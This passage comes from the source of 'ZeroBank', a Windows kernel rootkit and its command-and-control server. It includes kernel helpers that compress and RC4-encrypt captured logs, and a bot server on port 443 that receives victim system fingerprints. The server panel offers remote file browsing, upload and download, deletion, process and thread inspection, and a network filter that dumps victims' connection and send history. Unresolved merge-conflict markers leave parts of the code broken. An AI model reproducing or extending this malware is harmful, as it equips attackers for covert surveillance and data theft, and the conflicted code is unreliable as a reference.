5 | NTSTATUS rk_store_file_from_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash);
6 |
7 |
8 | typedef struct _ROOTKIT_STORE_USERSPACE_FILE
9 | {
10 | CHAR FileName[255];
11 | ULONG FileSize;
12 |
13 | }ROOTKIT_STORE_USERSPACE_FILE, *PROOTKIT_STORE_USERSPACE_FILE;
--------------------------------------------------------------------------------
/ZeroBank!kit/utils.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | void *kimemcpy(void *dst, void *src, unsigned int size)
4 | {
5 | unsigned char *buf = (unsigned char*)dst;
6 | unsigned char *__src = (unsigned char*)src;
7 | while (size--)
8 | {
9 | *buf++ = *__src++;
10 | }
11 |
12 | return dst;
13 | }
14 |
15 | char *kistrcpy(char *dest, const char *src)
16 | {
17 | char *p;
18 |
19 | if ((dest == 0) || (src == 0))
20 | return dest;
21 |
22 | if (dest == src)
23 | return dest;
24 |
25 | p = dest;
26 | while (*src != 0) {
27 | *p = *src;
28 | p++;
29 | src++;
30 | }
31 |
32 | *p = 0;
33 | return dest;
34 | }
35 |
36 | char *kistrcat(char *dest, const char *src)
37 | {
38 | if ((dest == 0) || (src == 0))
39 | return dest;
40 |
41 | while (*dest != 0)
42 | dest++;
43 |
44 | while (*src != 0) {
45 | *dest = *src;
46 | dest++;
47 | src++;
48 | }
49 |
50 | *dest = 0;
51 | return dest;
52 | }
53 |
54 | size_t kistrlen(const char *s)
55 | {
56 | char *s0 = (char *)s;
57 |
58 | if (s == 0)
59 | return 0;
60 |
61 | while (*s != 0)
62 | s++;
63 |
64 | return (s - s0);
65 | }
66 |
67 | size_t kistrlenW(const wchar_t *s)
68 | {
69 | wchar_t *s0 = (wchar_t*)s;
70 |
71 | if (s == 0)
72 | return 0;
73 |
74 | while (*s != 0)
75 | s++;
76 |
77 | return (s - s0);
78 | }
79 |
80 | wchar_t __stdcall _RtlUpcaseUnicodeChar(IN wchar_t Source)
81 | {
82 | unsigned short Offset;
83 |
84 | if (Source < 'a')
85 | return Source;
86 | if (Source <= 'z')
87 | return (Source - ('a' - 'A'));
88 |
89 | Offset = 0;
90 |
91 | return Source + (SHORT)Offset;
92 | }
93 |
94 | long __stdcall CompareUnicodeString(IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2, IN BOOLEAN CaseInSensitive)
95 | {
96 | unsigned short i;
97 | wchar_t c1, c2;
98 |
99 | for (i = 0; i <= String1->Length / sizeof(WCHAR) && i <= String2->Length / sizeof(WCHAR); i++)
100 | {
101 | if (CaseInSensitive)
102 | {
103 | c1 = _RtlUpcaseUnicodeChar(String1->Buffer[i]);
104 | c2 = _RtlUpcaseUnicodeChar(String2->Buffer[i]);
105 | }
106 | else
107 | {
108 | c1 = String1->Buffer[i];
109 | c2 = String2->Buffer[i];
110 | }
111 | if (c1 < c2)
112 | return -1;
113 | else if (c1 > c2)
114 | return 1;
115 |
116 | }
117 |
118 | return 0;
119 | }
120 |
121 | void __stdcall _InitUnicodeString(PUNICODE_STRING String, PWCHAR Source)
122 | {
123 | SIZE_T destsize = 0;
124 |
125 | if (Source)
126 | {
127 | destsize = kistrlenW(Source)*sizeof(WCHAR);
128 | String->Length = (USHORT)destsize;
129 | String->MaximumLength = (USHORT)destsize + sizeof(WCHAR);
130 | }
131 | else
132 | {
133 | String->Length = 0;
134 | String->MaximumLength = 0;
135 | }
136 |
137 | String->Buffer = (PWCHAR)Source;
138 | }
139 |
140 | BOOLEAN KiIsMdlAdddressValid(IN PMDL Mdl, IN PROOTKIT_API_HASH Hash)
141 | {
142 | BOOLEAN g_cond;
143 |
144 | if (Hash->_MmIsAddressValid(Mdl) && Mdl->ByteCount > 0 && Mdl->MappedSystemVa != NULL && Mdl->Size > 0)
145 | g_cond = TRUE;
146 | else
147 | g_cond = FALSE;
148 |
149 | return g_cond;
150 |
151 | }
152 |
153 | VOID KiInitializeKernelModeThread(IN PHANDLE ThreadHandle, IN PROOTKIT_API_HASH Hash, IN PKSTART_ROUTINE Routine, IN PVOID Context OPTIONAL)
154 | {
155 | NTSTATUS st;
156 | st = Hash->_PsCreateSystemThread(ThreadHandle, THREAD_ALL_ACCESS, NULL, 0, NULL, Routine, Context);
157 | }
158 |
159 | void LogFilterData(IN const char *szFormat, ...)
160 | {
161 | NTSTATUS st;
162 | UNICODE_STRING ustr1 = { 0 };
163 | ANSI_STRING ansi = { 0 };
164 | OBJECT_ATTRIBUTES oa = { 0 };
165 | IO_STATUS_BLOCK io = { 0 };
166 | HANDLE handle;
167 | ULONG length = 0;
168 | CHAR buffer[1024] = { 0 };
169 | va_list va;
170 | BOOLEAN g_cond = FALSE;
171 | WCHAR wzBuffer[255] = { 0 };
172 | UNICODE_STRING uni = { 0 };
173 |
174 | va_start(va, szFormat);
175 | _vsnprintf(buffer, sizeof(buffer) / sizeof(char), szFormat, va);
176 | va_end(va);
177 |
178 | /*g_Hash._RtlInitAnsiString(&ansi, g_idpath);
179 | g_Hash._RtlAnsiStringToUnicodeString(&uni, &ansi, TRUE);
180 |
181 | wcscpy_s(wzBuffer, 255, L"\\??\\C:\\Windows\\");
182 | wcscat_s(wzBuffer, 255, uni.Buffer);
183 | wcscat_s(wzBuffer, 255, L"\\U\\zb-bot-logs.txt");
184 |
185 | g_Hash._RtlInitUnicodeString(&ustr1,wzBuffer);*/
186 | g_Hash._RtlInitUnicodeString(&ustr1, L"\\??\\C:\\Users\\alex\\Desktop\\Log.txt");
187 |
188 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
189 |
190 | st = MyIopCreateFile(&handle, FILE_APPEND_DATA, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE | FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL,0,CreateFileTypeNone,
191 | NULL,IO_NO_PARAMETER_CHECKING,0,NULL);
192 | if (!NT_SUCCESS(st))
193 | return;
194 |
195 | length = kistrlen(buffer);
196 |
197 | KeEnterCriticalRegion();
198 | ExAcquireResourceExclusiveLite(&g_globalresource, TRUE);
199 |
200 | st = ZwWriteFile(handle, NULL, NULL, NULL, &io, (PVOID)buffer, length, NULL, 0);
201 | if (!NT_SUCCESS(st))
202 | return;
203 |
204 | ExReleaseResourceLite(&g_globalresource);
205 | KeLeaveCriticalRegion();
206 |
207 |
208 | #ifndef _WIN64
209 | if (handle != NULL)
210 | ObpCloseHandle(handle,KernelMode);
211 | #else
212 | ZwClose(handle);
213 | #endif
214 |
215 | g_Hash._RtlFreeUnicodeString(&uni);
216 | }
217 |
218 | <<<<<<< HEAD
219 | PUCHAR CompressZeroBankFile(IN PUCHAR Buffer, IN SIZE_T SizeOfBuffer, IN INT KeyType, OUT PULONG FinalCompressedSize, IN PROOTKIT_API_HASH Hash)
220 | =======
221 | PUCHAR CompressZeroBankFile(IN PUCHAR Buffer, IN SIZE_T SizeOfBuffer,OUT PULONG FinalCompressedSize, IN PROOTKIT_API_HASH Hash)
222 | >>>>>>> adding files
223 | {
224 | SIZE_T size = 16 * SizeOfBuffer;
225 | PUCHAR Alloc = NULL;
226 | PUCHAR container = NULL;
227 | PUCHAR Out = NULL;
228 | NTSTATUS st;
229 | ULONG size1 = 0, size2 = 0;
230 |
231 | st = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, &size1, &size2);
232 | if (NT_SUCCESS(st))
233 | {
234 | container = (UCHAR*)Hash->_ExAllocatePool(NonPagedPool, size);
235 | Alloc = (UCHAR*)Hash->_ExAllocatePool(NonPagedPool, size1);
236 | if (container != NULL && Alloc != NULL && Hash->_MmIsAddressValid(container) && Hash->_MmIsAddressValid(Alloc))
237 | {
238 | st = RtlCompressBuffer(COMPRESSION_ENGINE_MAXIMUM | COMPRESSION_FORMAT_LZNT1, Buffer, SizeOfBuffer, container, size, 0x1000, FinalCompressedSize, Alloc);
239 | if (NT_SUCCESS(st))
240 | {
241 |
242 | Out = container;
243 |
244 | }
245 | }
246 | }
247 |
248 | Hash->_ExFreePoolWithTag(Alloc,0);
249 |
250 | return Out;
251 | }
252 |
253 | VOID ZeroBankCryptorWorkRoutine(PVOID Context)
254 | {
255 | PZERBANK_CRYPTOR_WORKER cw = (PZERBANK_CRYPTOR_WORKER)Context;
256 |
257 | HANDLE handle, whandle;
258 | OBJECT_ATTRIBUTES oa, woa;
259 | UNICODE_STRING ustr1, wustr1;
260 | LARGE_INTEGER large, wlarge;
261 | IO_STATUS_BLOCK io, wio;
262 | NTSTATUS st;
263 | ANSI_STRING ansi;
264 | FILE_STANDARD_INFORMATION fileinfo = { 0 };
265 | WCHAR Buffer[255] = { 0 };
266 | PUCHAR mem = NULL;
267 | PUCHAR EncryptedDataBuffer = NULL;
268 | PUCHAR Alloc = NULL;
269 | ULONG FinalSize = 0;
270 | rc4_ctx ctx = { 0 };
271 |
272 | /*RtlInitAnsiString(&ansi, g_idpath);
273 | RtlAnsiStringToUnicodeString(&ustr1, &ansi, TRUE);
274 | wcscpy_s(Buffer, 255, L"\\??\\C:\\Windows\\");
275 | wcscat_s(Buffer, 255, ustr1.Buffer);
276 | wcscat_s(Buffer, 255, L"\\U\\zb-bot-logs.txt");
277 |
278 | RtlInitUnicodeString(&ustr1, Buffer);*/
279 |
280 | RtlInitUnicodeString(&ustr1, L"\\??\\C:\\Users\\alex\\Desktop\\Log.txt");
281 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
282 | st = MyIopCreateFile(&handle, FILE_GENERIC_READ, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN,
283 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, 0, NULL);
284 | if (NT_SUCCESS(st))
285 | {
286 | st = IopQueryFileInformation(handle, &fileinfo, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
287 | if (NT_SUCCESS(st))
288 | {
289 | mem = (PUCHAR)cw->Hash->_ExAllocatePool(NonPagedPool, (SIZE_T)fileinfo.EndOfFile.QuadPart);
290 | if (mem)
291 | {
292 | st = IopReadFile(handle, &io, mem, (ULONG)fileinfo.EndOfFile.QuadPart, NULL);
293 | if (NT_SUCCESS(st))
294 | {
295 | #ifndef _WIN64
296 | ObpCloseHandle(handle, KernelMode);
297 | #else
298 | ZwClose(handle);
299 | #endif
300 |
301 | <<<<<<< HEAD
302 | Alloc = CompressZeroBankFile(mem, (SIZE_T)fileinfo.EndOfFile.QuadPart, RC4_KEY_3, &FinalSize, cw->Hash);
303 | =======
304 | Alloc = CompressZeroBankFile(mem, (SIZE_T)fileinfo.EndOfFile.QuadPart,&FinalSize, cw->Hash);
305 | >>>>>>> adding files
306 | if (Alloc != NULL)
307 | {
308 | EncryptedDataBuffer = (PUCHAR)cw->Hash->_ExAllocatePool(NonPagedPool, (SIZE_T)fileinfo.EndOfFile.QuadPart);
309 | if (EncryptedDataBuffer == NULL)
310 | return;
311 |
312 | rc4_init(&ctx, key3, sizeof(key3));
313 | rc4_encrypt(&ctx, (const uint8*)Alloc, (uint8*)EncryptedDataBuffer, FinalSize);
314 |
315 | RtlInitUnicodeString(&wustr1, L"\\??\\C:\\Users\\alex\\Desktop\\0000008.txt");
316 | InitializeObjectAttributes(&woa, &wustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
317 |
318 | <<<<<<< HEAD
319 | st = MyIopCreateFile(&whandle, FILE_APPEND_DATA, &woa, &wio,NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE |FILE_SHARE_READ,
320 | =======
321 | st = MyIopCreateFile(&whandle, FILE_APPEND_DATA, &woa, &wio,NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE | FILE_SHARE_READ,
322 | >>>>>>> adding files
323 | FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL,
324 | IO_NO_PARAMETER_CHECKING, 0, NULL);
325 | if (NT_SUCCESS(st))
326 | {
327 |
328 | KeEnterCriticalRegion();
329 | ExAcquireResourceExclusiveLite(&g_globalresource, TRUE);
330 |
331 | <<<<<<< HEAD
332 | st = ZwWriteFile(whandle, NULL, NULL, NULL, &wio, EncryptedDataBuffer, FinalSize, NULL, 0);
333 | =======
334 | st = IopWriteFile(whandle, FILE_APPEND_DATA, &wio, EncryptedDataBuffer, FinalSize, NULL);
335 | //st = ZwWriteFile(whandle, NULL, NULL, NULL, &wio, EncryptedDataBuffer, FinalSize, NULL, 0);
336 | >>>>>>> adding files
337 | if (NT_SUCCESS(st))
338 | {
339 | #ifndef _WIN64
340 | ObpCloseHandle(whandle, KernelMode);
341 | #else
342 | ZwClose(whandle);
343 | #endif
344 | cw->StopWorkerThread = TRUE;
345 | }
346 |
347 | ExReleaseResourceLite(&g_globalresource);
348 | KeLeaveCriticalRegion();
349 | }
350 | //cw->Hash->_ExFreePoolWithTag(Alloc, 0);
351 | //Alloc = NULL;
352 | }
353 | }
354 | cw->Hash->_ExFreePoolWithTag(mem, 0);
355 | mem = NULL;
356 | }
357 | }
358 | }
359 |
360 |
361 | if(cw->StopWorkerThread == TRUE)
362 | cw->Hash->_PsTerminateSystemThread(STATUS_SUCCESS);
363 |
364 | }
365 |
--------------------------------------------------------------------------------
/ZeroBank!kit/utils.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _ZEROBANK_CRYPTOR_WORKER
4 | {
5 | HANDLE WorkerThreadHandle;
6 | PROOTKIT_API_HASH Hash;
7 | PETHREAD pThread;
8 | BOOLEAN StopWorkerThread;
9 | KEVENT WorkerThreadEvent;
10 |
11 | }ZEROBANK_CRYPTOR_WORKER, *PZERBANK_CRYPTOR_WORKER;
12 |
13 | void *kimemcpy(void *dst, void *src, unsigned int size);
14 | char *kistrcpy(char *dest, const char *src);
15 | char *kistrcat(char *dest, const char *src);
16 | size_t kistrlen(const char *s);
17 | size_t kistrlenW(const wchar_t *s);
18 | wchar_t __stdcall _RtlUpcaseUnicodeChar(IN wchar_t Source);
19 | long __stdcall CompareUnicodeString(IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2, IN BOOLEAN CaseInSensitive);
20 | void __stdcall _InitUnicodeString(PUNICODE_STRING String, PWCHAR Source);
21 | BOOLEAN KiIsMdlAdddressValid(IN PMDL Mdl, IN PROOTKIT_API_HASH Hash);
22 | VOID KiInitializeKernelModeThread(IN PHANDLE ThreadHandle, IN PROOTKIT_API_HASH Hash, IN PKSTART_ROUTINE Routine, IN PVOID Context OPTIONAL);
23 | void LogFilterData(IN const char *szFormat, ...);
24 |
25 | <<<<<<< HEAD
26 | PUCHAR CompressZeroBankFile(IN PUCHAR Buffer, IN SIZE_T SizeOfBuffer, IN INT KeyType, OUT PULONG FinalCompressedSize, IN PROOTKIT_API_HASH Hash);
27 | =======
28 | PUCHAR CompressZeroBankFile(IN PUCHAR Buffer, IN SIZE_T SizeOfBuffer,OUT PULONG FinalCompressedSize, IN PROOTKIT_API_HASH Hash);
29 | >>>>>>> adding files
30 | VOID ZeroBankCryptorWorkRoutine(PVOID Context);
31 |
--------------------------------------------------------------------------------
/ZeroBank!server/ZeroBank.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | static SOCKET socket_array[100];
4 | static int counter;
5 | RTL_CRITICAL_SECTION g_sec = { 0 };
6 |
7 | DWORD WINAPI ClientThread(LPVOID lParam)
8 | {
9 | SOCKET sock = (SOCKET)lParam;
10 | PZEROBANK_BOT_HEADER rootkit_header = NULL, Entry = NULL;
11 | PVOID Out = NULL;
12 |
13 | RtlEnterCriticalSection(&g_sec);
14 |
15 | printf("\r\n[^*^] New ZeroBank bot connected");
16 |
17 | Out = recv_decrypted(sock, RC4_KEY_1, (PZEROBANK_BOT_HEADER)Entry, sizeof(ZEROBANK_BOT_HEADER));
18 | if (Out != NULL)
19 | {
20 | rootkit_header = (PZEROBANK_BOT_HEADER)Out;
21 | if (rootkit_header)
22 | {
23 |
24 | printf("\r\n\nOs: %s | Win: %u.%u | Build: %u | Sys: %s | ID: %s | Server: %s | LocaleId: %s | LanguageId: %s",
25 | rootkit_header->Os,
26 | rootkit_header->majorver,
27 | rootkit_header->minorver,
28 | rootkit_header->Build,
29 | rootkit_header->Arch,
30 | rootkit_header->BotId,
31 | rootkit_header->IsNtServer ? "Yes" : "No",
32 | rootkit_header->Locale,
33 | rootkit_header->lang);
34 | }
35 | }
36 |
37 | RtlFreeHeap(GetProcessHeap(), 0, Out);
38 | Out = NULL;
39 |
40 | RtlLeaveCriticalSection(&g_sec);
41 |
42 | /// start command exchange with rootkit
43 |
44 | rootkit_cmd(sock);
45 | }
46 |
47 | DWORD WINAPI ServerThread(USHORT Port, PCHAR Ip)
48 | {
49 | SOCKET sock, acceptsock;
50 | SOCKADDR_IN sai;
51 | SOCKADDR_IN acceptsai;
52 | WSADATA wsa;
53 | INT Size;
54 |
55 | if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
56 | return WSASYSNOTREADY;
57 |
58 |
59 | sai.sin_addr.s_addr = inet_addr(Ip);
60 | sai.sin_family = AF_INET;
61 | sai.sin_port = htons(Port);
62 |
63 | sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
64 | if (sock == INVALID_SOCKET)
65 | return 1;
66 |
67 | bind(sock, (SOCKADDR*)&sai, sizeof(sai));
68 | listen(sock, 100);
69 | Size = sizeof(acceptsai);
70 |
71 | printf("\r\n[^*^] ZeroBank server listening incoming connections...");
72 |
73 | while (1)
74 | {
75 | acceptsock = accept(sock, (SOCKADDR*)&acceptsai, &Size);
76 | CreateThread(NULL, 0, ClientThread, (LPVOID)acceptsock, 0, NULL);
77 | socket_array[counter] = acceptsock;
78 | counter++;
79 | }
80 | closesocket(sock);
81 | WSACleanup();
82 | return EXIT_SUCCESS;
83 | }
84 |
85 |
86 | INT main(INT argc, PCHAR Argv[])
87 | {
88 |
89 | RtlInitializeCriticalSection(&g_sec);
90 |
91 | HANDLE std = GetStdHandle(STD_OUTPUT_HANDLE);
92 | if (std == INVALID_HANDLE_VALUE)
93 | return 1;
94 |
95 | COORD coord;
96 | coord.X = 300;
97 | coord.Y = 800;
98 |
99 | SetConsoleScreenBufferSize(std, coord);
100 | SetConsoleTitle(TEXT("ZeroBank (ring0 kit bundle)"));
101 |
102 | ServerThread(443, "192.168.1.36");
103 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_cmd.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | VOID rootkit_cmd(IN SOCKET sock)
4 | {
5 | char cmd[255] = { 0 };
6 |
7 | while (1)
8 | {
9 | printf("\r\n\n\n{ PANEL }-> ");
10 | scanf("%s", cmd);
11 | if (!strcmp(cmd, "-h"))
12 | {
13 | printf("\r\n[-ps] View remote bot EPROCESS structure");
14 | printf("\r\n[-th] View remote bot ETHREAD structure");
15 | printf("\r\n[-ex] Remote File Explorer");
16 | printf("\r\n[-lm] View Bot loaded modules");
17 | printf("\r\n[-if] Bot System Information");
18 | printf("\r\n[-uk] Upload file");
19 | printf("\r\n[-ku] Download file");
20 | printf("\r\n[-sf] Start TDI Filter");
21 | printf("\r\n[-st] Stop TDI Filter");
22 | printf("\r\n[-bc] Get Bot TDI_CONNECT filter requests (Dumps bot history of connected sites)");
23 | printf("\r\n[-sq] Get Bot TDI_SEND filter requests (Dumps bot history of sending requests)");
24 | printf("\r\n[-ki] Kernel Mode injection");
25 | printf("\r\n[-ld] Load driver");
26 | printf("\r\n[-fd] Delete file");
27 | printf("\r\n[-dc] Disconnect from rootkit");
28 |
29 | }
30 | else if (!strcmp(cmd, "-ps"))
31 | {
32 | rootkit_get_processes(sock, ZB_EPROCESS);
33 | }
34 | else if (!strcmp(cmd, "-th"))
35 | {
36 | rootkit_get_process_ethread(sock, ZB_ETHREAD);
37 | }
38 | else if (!strcmp(cmd, "-ex"))
39 | {
40 | rootkit_get_kernel_fileexplorer(sock, ZB_FILE_EXPLORER);
41 | }
42 | else if (!strcmp(cmd, "-lm"))
43 | {
44 | rootkit_get_modules(sock, ZB_MODULES);
45 | }
46 | else if (!strcmp(cmd, "-if"))
47 | {
48 | rootkit_get_sys_information(sock, ZB_INTERNAL_SYSTEM_INFORMATION);
49 | }
50 | else if (!strcmp(cmd, "-uk"))
51 | {
52 | rootkit_send_file_to_kernel(sock, ZB_USER_TO_KERNEL_TRANSFER);
53 | }
54 | else if (!strcmp(cmd, "-ku"))
55 | {
56 | rootkit_get_file_from_kernel(sock, ZB_KERNEL_TO_USER_TRANSFER);
57 | }
58 | else if (!strcmp(cmd, "-sf"))
59 | {
60 | rootkit_start_TDI_filter(sock, ZB_START_TDI_FILTER);
61 | }
62 | else if (!strcmp(cmd, "-st"))
63 | {
64 | rootkit_stop_TDI_filter(sock, ZB_STOP_TDI_FILTER);
65 | }
66 | else if (!strcmp(cmd, "-ki"))
67 | {
68 | return STATUS_NOT_IMPLEMENTED;
69 | }
70 | else if (!strcmp(cmd, "-ld"))
71 | {
72 | return STATUS_NOT_IMPLEMENTED;
73 | }
74 | else if (!strcmp(cmd, "-fd"))
75 | {
76 | rootkit_delete_file(sock, ZB_DELETE_FILE);
77 | }
78 | else if (!strcmp(cmd, "-dc"))
79 | {
80 | rootkit_disconnect_from_driver(sock, ZB_DISCONNECT);
81 | goto endconn;
82 | }
83 | else if (!strcmp(cmd, "-bc"))
84 | {
85 | rootkit_get_bot_connections(sock, ZB_GET_BOT_CONNECTIONS);
86 | }
87 | else if (!strcmp(cmd, "-sq"))
88 | {
89 | rootkit_get_send_requests(sock, ZB_GET_BOT_SEND_REQUESTS);
90 | }
91 | else if (!strcmp(cmd, "-cls"))
92 | {
93 | system("cls");
94 | }
95 |
96 | }
97 |
98 | endconn:
99 | closesocket(sock);
100 | WSACleanup();
101 | TerminateProcess(GetCurrentProcess(), 1);
102 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_cmd.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | VOID rootkit_cmd(IN SOCKET sock);
--------------------------------------------------------------------------------
/ZeroBank!server/server_connections.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | BOOLEAN rootkit_get_bot_connections(IN SOCKET sock, IN BYTE PacketType)
4 | {
5 | INT sendsize = 0;
6 | INT recvsize = 0;
7 | ZEROBANK_PACKET_TYPE Packet = { 0 };
8 | PZEROBANK_FILTER_CONNECTION_REQUESTS buffer = NULL;
9 | PZEROBANK_FILTER_CONNECTION_REQUESTS entrybuffer = NULL;
10 | BOOL g_cond = FALSE;
11 | PVOID Out = NULL;
12 | PVOID Alloc = NULL;
13 | ULONG getsize = 0;
14 | ULONG NumberOfConnections = 0;
15 |
16 |
17 | char *time = "Time-Stamp";
18 | char *infobuffer = "Bot connection sites";
19 |
20 | Packet.PacketType = PacketType;
21 |
22 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&Packet, sizeof(ZEROBANK_PACKET_TYPE));
23 | if (sendsize > 0)
24 | {
25 | recvsize = recv(sock, (PCHAR)&getsize, sizeof(ULONG), 0);
26 | if (recvsize > 0 && getsize > 0)
27 | {
28 | Out = recv_decrypted(sock, RC4_KEY_2, (PZEROBANK_FILTER_CONNECTION_REQUESTS)buffer, getsize);
29 | if (Out)
30 | {
31 | NumberOfConnections = getsize / sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS);
32 |
33 | entrybuffer = (PZEROBANK_FILTER_CONNECTION_REQUESTS)Out;
34 |
35 | printf("\r\n");
36 | printf("\r\n%15s %30s", time, infobuffer);
37 | printf("\r\n");
38 |
39 | for (ULONG i = 0; i < NumberOfConnections; i++, entrybuffer++)
40 | {
41 | printf("%s", entrybuffer->ShareData);
42 | g_cond = TRUE;
43 | }
44 | RtlFreeHeap(GetProcessHeap(), 0, Out);
45 | Out = NULL;
46 | }
47 | }
48 | }
49 |
50 | return g_cond;
51 | }
52 |
--------------------------------------------------------------------------------
/ZeroBank!server/server_connections.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 |
4 |
5 | typedef UCHAR KIRQL;
6 |
7 | typedef struct _ZEROBANK_FILTER_CONNECTION_REQUESTS
8 | {
9 | LIST_ENTRY Entry;
10 | CHAR ShareData[255];
11 | }ZEROBANK_FILTER_CONNECTION_REQUESTS, *PZEROBANK_FILTER_CONNECTION_REQUESTS;
12 |
13 | typedef struct _ZEROBANK_FILTER_HEAD
14 | {
15 | LIST_ENTRY Entry;
16 | KSPIN_LOCK Lock;
17 | KIRQL OldIrql;
18 | ULONG NumberOfConnections;
19 | }ZEROBANK_FILTER_HEAD, *PZEROBANK_FILTER_HEAD;
20 |
21 | BOOLEAN rootkit_get_bot_connections(IN SOCKET sock, IN BYTE PacketType);
22 |
--------------------------------------------------------------------------------
/ZeroBank!server/server_disconnect.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | BOOL rootkit_disconnect_from_driver(IN SOCKET sock, IN BYTE PacketType)
4 | {
5 | ZEROBANK_PACKET_TYPE Type = { 0 };
6 | BOOL ret;
7 | int sendsize = 0;
8 | int getbytes = 0;
9 |
10 | Type.PacketType = PacketType;
11 |
12 | sendsize = send_packet_encrypted(sock, 2, (PZEROBANK_PACKET_TYPE)&Type, sizeof(ZEROBANK_PACKET_TYPE));
13 |
14 | if (sendsize > 0 && Type.PacketType != NULL)
15 | {
16 | printf("\r\n[+] __disconnect__ plugin send correctly");
17 | ret = TRUE;
18 | }
19 | else
20 | {
21 | printf("\r\n[!] __disconnect__ plugin error: %d",RtlGetLastWin32Error());
22 | ret = FALSE;
23 | }
24 |
25 | return ret;
26 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_disconnect.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | BOOL rootkit_disconnect_from_driver(IN SOCKET sock, IN BYTE PacketType);
--------------------------------------------------------------------------------
/ZeroBank!server/server_file.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | BOOLEAN rootkit_get_kernel_fileexplorer(IN SOCKET sock, IN BYTE PacketType)
4 | {
5 | INT sendsize = 0;
6 | INT amount = 0;
7 | INT offset = 0;
8 | INT recvsize = 0;
9 | ULONG getbytes = 0;
10 | ZEROBANK_PACKET_TYPE type = { 0 };
11 | PROOTKIT_FILEEXPLORER_ENTRY Entry = NULL, Buffer = NULL;
12 | PVOID Out = NULL;
13 | ULONG NumberOfElements = 0;
14 | BOOL ret = FALSE;
15 |
16 | char *ctime = "CreateTime";
17 | char *wtime = "WriteTime";
18 | char *file = "File";
19 |
20 | type.PacketType = PacketType;
21 |
22 | printf("\r\n{ KERNEL-FILE-EXPLORER-PLUGIN }-> ");
23 | scanf("%s", type.FileName_For_FileExplorer_plugin);
24 |
25 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&type, sizeof(ZEROBANK_PACKET_TYPE));
26 | if (sendsize > 0)
27 | {
28 | recvsize = recv(sock, (char*)&getbytes, sizeof(ULONG), 0);
29 | if (recvsize > 0 && getbytes > 0)
30 | {
31 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_FILEEXPLORER_ENTRY)Buffer, getbytes);
32 | if (Out != NULL)
33 | {
34 | Entry = (PROOTKIT_FILEEXPLORER_ENTRY)Out;
35 | if (Entry)
36 | {
37 | printf("\r\n");
38 | printf("\r\n%s %25s %40s", ctime, wtime, file);
39 | printf("\r\n");
40 |
41 | NumberOfElements = getbytes / sizeof(ROOTKIT_FILEEXPLORER_ENTRY);
42 |
43 | for (ULONG i = 0; i < NumberOfElements; i++, Entry++)
44 | {
45 | printf("\r\n%s %25s %40S", Entry->CreateTime, Entry->WriteTime, Entry->FileName);
46 |
47 | ret = TRUE;
48 | }
49 | }
50 |
51 | RtlFreeHeap(GetProcessHeap(), 0, Out);
52 | Out = NULL;
53 |
54 | }
55 | }
56 | else
57 | {
58 | printf("\r\n[!] Error receiving allocation bytes: %d", RtlGetLastWin32Error());
59 | ret = FALSE;
60 | }
61 | }
62 |
63 | else
64 | {
65 | printf("\r\n[!] Error sending packet type: %d", RtlGetLastWin32Error());
66 | ret = FALSE;
67 | }
68 |
69 | return ret;
70 | }
71 |
72 | BOOLEAN rootkit_delete_file(IN SOCKET Socket, IN BYTE PacketType)
73 | {
74 | ZEROBANK_PACKET_TYPE type = { 0 };
75 | INT sendsize = 0;
76 | INT recvsize = 0;
77 | char buffer[50] = { 0 };
78 | BOOLEAN ret;
79 | rc4_ctx ctx = { 0 };
80 |
81 | printf("\r\n{ FILE-DELETE-PLUGIN } Introduce file to delete-> ");
82 | scanf("%s", type.FileName_For_File_Deletion);
83 |
84 | type.PacketType = PacketType;
85 |
86 | sendsize = send_packet_encrypted(Socket, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&type, sizeof(ZEROBANK_PACKET_TYPE));
87 | if (sendsize > 0)
88 | {
89 | recvsize = recv(Socket, buffer, sizeof(buffer), 0);
90 | if (recvsize > 0)
91 | {
92 | rc4_init(&ctx, key1, sizeof(key1));
93 | rc4_decrypt(&ctx, (const uint8*)buffer, (uint8*)buffer, recvsize);
94 |
95 | buffer[recvsize] = '\0';
96 | printf("\r\n{ FILE-DELETE-PLUGIN } %s", buffer);
97 | ret = TRUE;
